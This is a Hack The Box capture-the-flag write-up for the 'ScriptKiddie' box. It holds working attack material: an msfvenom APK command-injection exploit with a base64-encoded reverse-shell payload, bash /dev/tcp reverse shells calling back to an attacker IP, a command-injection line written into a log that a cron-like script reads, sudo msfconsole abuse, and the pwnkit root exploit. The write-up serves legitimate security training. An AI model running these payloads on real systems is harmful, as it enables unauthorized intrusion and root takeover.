ScriptKiddie Writeup
16 October 2022 #CTF #HTB #box #easy #linuxEnumeration
As fellow script kiddies ourselves, we will run an nmap
scan:
$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap 10.10.10.226
[...]
22/tcp open ssh
5000/tcp open upnp
[...]
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -p $ports -sCV -oN enum/scripts-tcp.nmap 10.10.10.226
[...]
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3c656bc2dfb99d627427a7b8a9d3252c (RSA)
| 256 b9a1785d3c1b25e03cef678d71d3a3ec (ECDSA)
|_ 256 8bcf4182c6acef9180377cc94511e843 (ED25519)
5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-title: k1d'5 h4ck3r t00l5
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
HTTP
Here is the website (very 1337):
Let's try to run nmap:
Cool, it actually ran nmap
on localhost. We can try command injection:
But we get 'invalid ip':
I tried pretty much every command injection technique I could think of but none of them worked. Same for the other tools.
After a bit of fucking around, we find that there is a vulnerability in msfvenom in the way that it handle apk files, leading to command injection.
Foothold
Download the script from exploit-db and change the payload
line (the one with the comment 'Change me'):
# Change me
payload = 'bash -c "bash -i >& /dev/tcp/10.10.14.14/4242 0>&1"'
Then run the script to generate the malicious apk file:
$ python3 exp.py
[+] Manufacturing evil apkfile
Payload: bash -c "bash -i >& /dev/tcp/10.10.14.14/4242 0>&1"
-dname: CN='|echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNC80MjQyIDA+JjEi | base64 -d | sh #
adding: empty (stored 0%)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
keytool error: java.io.IOException: Incorrect AVA format
Traceback (most recent call last):
File "/home/yep/CTF/HTB/machines/scriptkiddie/exp.py", line 40, in <module>
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
File "/usr/lib/python3.10/subprocess.py", line 369, in check_call
raise CalledProcessError(retcode, cmd)
subprocess.CalledProcessError: Command '['keytool', '-genkey', '-keystore', '/tmp/tmpr9m_y61n/signing.keystore', '-alias', 'signing.key', '-storepass', 'password', '-keypass', 'password', '-keyalg', 'RSA', '-keysize', '2048', '-dname', "CN='|echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNC80MjQyIDA+JjEi | base64 -d | sh #"]' returned non-zero exit status 1.
Looks like something went wrong. Judging by the error message, our base64 encoded payload must have some bad characters. And indeed it has some +
. Let's try get rid of them by adding a few more spaces in our payload:
# Change me
payload = 'bash -c "bash -i >& /dev/tcp/10.10.14.14/4242 0>&1"'
Execute again with your fingers crossed (very important):
$ python3 exp.py
[+] Manufacturing evil apkfile
Payload: bash -c "bash -i >& /dev/tcp/10.10.14.14/4242 0>&1"
-dname: CN='|echo YmFzaCAtYyAiYmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTQvNDI0MiAgMD4mMSI= | base64 -d | sh #
adding: empty (stored 0%)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
jar signed.
Warning:
The signer's certificate is self-signed.
The SHA1 algorithm specified for the -digestalg option is considered a security risk. This algorithm will be disabled in a future update.
The SHA1withRSA algorithm specified for the -sigalg option is considered a security risk. This algorithm will be disabled in a future update.
POSIX file permission and/or symlink attributes detected. These attributes are ignored when signing and are not protected by the signature.
[+] Done! apkfile is at /tmp/tmp29zzdrbl/evil.apk
Do: msfvenom -x /tmp/tmp29zzdrbl/evil.apk -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null
Nice, it looks like it worked.
Now time to setup our nc
reverse shell listener and upload this spooky apk to the server. We get an error message but we caught a reverse shell!
Reverse Shell Upgrade
Let's get a proper reverse shell:
kid@scriptkiddie:~/html$ script -q -c bash /dev/null
script -q -c bash /dev/null
kid@scriptkiddie:~/html$ ^Z
[1]+ Stopped nc -lvnp 4242
$ stty raw -echo ; fg
nc -lvnp 4242
kid@scriptkiddie:~/html$ export TERM=xterm
kid@scriptkiddie:~/html$ stty cols 172 rows 33
I find the script
method to be simpler than the python
one but the effect is pretty much the same. We run stty
to set our terminal size at the end so interactive programs like vim
behave as they should.
Privesc
We have a shell as the 'kid' user. There is nothing of interest in the web directory (it is just a simple Flask app) or our home directory. Let's enumerate the users on this box:
kid@scriptkiddie:~$ grep 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
kid:x:1000:1000:kid:/home/kid:/bin/bash
pwn:x:1001:1001::/home/pwn:/bin/bash
We can access pwn's home directory:
kid@scriptkiddie:~$ cd /home/pwn/
kid@scriptkiddie:/home/pwn$ ls -l
total 8
drwxrw---- 2 pwn pwn 4096 Oct 15 23:00 recon
-rwxrwxr-- 1 pwn pwn 250 Jan 28 2021 scanlosers.sh
scanlosers.sh Analysis
Let's take a look at this scanlosers.sh
script:
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
It will read /home/kid/hackers
and for each line do some text processing to extract an IP address and run nmap
on this IP.
Since we have write access to /home/kid/logs/hacker
and the script uses the output without any form of sanitazation there is a command injection vulnerability in this script.
cut -d' ' -f3-
will split the line on spaces and output the 3rd field up to the last:
$ echo 'somebody once told me the world is gonna roll me' | cut -d' ' -f3-
told me the world is gonna roll me
sort -u
will remove duplicate lines but it doesn't matter here because we will only write 1 line anyway.
This will be our payload:
g g ;bash -c "bash -i >& /dev/tcp/10.10.14.14/4242 0>&1" #
the first 2 g
are here to match the cut
call. Then we terminate the nmap
command with ;
and begin our classic reverse shell payload. At the end we put a comment with #
to ignore everything that comes after (a ;
would also work).
Time to write the paylaod to the file:
kid@scriptkiddie:/home/pwn$ echo 'g g ;bash -c "bash -i >& /dev/tcp/10.10.14.14/1337 0>&1" #' > /home/kid/logs/hackers
kid@scriptkiddie:/home/pwn$ cat /home/kid/logs/hackers
kid@scriptkiddie:/home/pwn$
Hmmm... it's empty? After a bit of troubleshooting, it looks like the script (scanlosers.sh
) is ran each time the file /home/kid/logs/hackers
is written to.
We just need to setup our nc
reverse shell handler and rerun that echo
command to get our reverse shell.
Shell as pwn
We are in as 'pwn'. Let's see if we have more luck with sudo rules:
pwn@scriptkiddie:~$ sudo -l
Matching Defaults entries for pwn on scriptkiddie:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pwn may run the following commands on scriptkiddie:
(root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole
And we do! We can run msfconsole
as root without password. Turns out msfconsole
can act as a shell:
pwn@scriptkiddie:~$ sudo /opt/metasploit-framework-6.0.9/msfconsole
_ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
=[ metasploit v6.0.9-dev ]
+ -- --=[ 2069 exploits - 1122 auxiliary - 352 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: Use help <command> to learn more about any command
msf6 > id
[*] exec: id
uid=0(root) gid=0(root) groups=0(root)
We can also use the irb
command to get into a interactive ruby shell:
msf6 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object
irb: warn: can't alias jobs from irb_jobs.
>> system('id')
uid=0(root) gid=0(root) groups=0(root)
system()
is just a built-in ruby function, like os.system()
in python.
The Easy Way
Would you believe me if I told you there way an easier way of getting root? It is an unintended way that didn't even exist when the box was released (06 February 2021).
If you happened to run linpeas.sh on this box you would notice that it is vulnerable to CVE-2021-4034 (aka pwnkit). This CVE was released the in January of 2022.
We'll use this poc. We'll need to compile stuff on the target box so we download the repo as a zip.
$ mkdir share
$ cd share
$ wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.zip
$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
On the target machine:
kid@scriptkiddie:/dev/shm$ cd /dev/shm
kid@scriptkiddie:/dev/shm$ wget 10.10.14.14:8000/main.zip
[...]
2022-10-16 13:23:48 (113 KB/s) - ‘main.zip’ saved [6457/6457]
kid@scriptkiddie:/dev/shm$ unzip main.zip
[...]
kid@scriptkiddie:/dev/shm$ cd CVE-2021-4034-main/
kid@scriptkiddie:/dev/shm/CVE-2021-4034-main$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
kid@scriptkiddie:/dev/shm/CVE-2021-4034-main$ ./cve-2021-4034
# id
uid=0(root) gid=0(root) groups=0(root),1000(kid)
It's always pretty cool to see these kind of vulnerabilities on boxes where they are not meant to be there.
Key Takeaways
- Always make sure your systems are up to date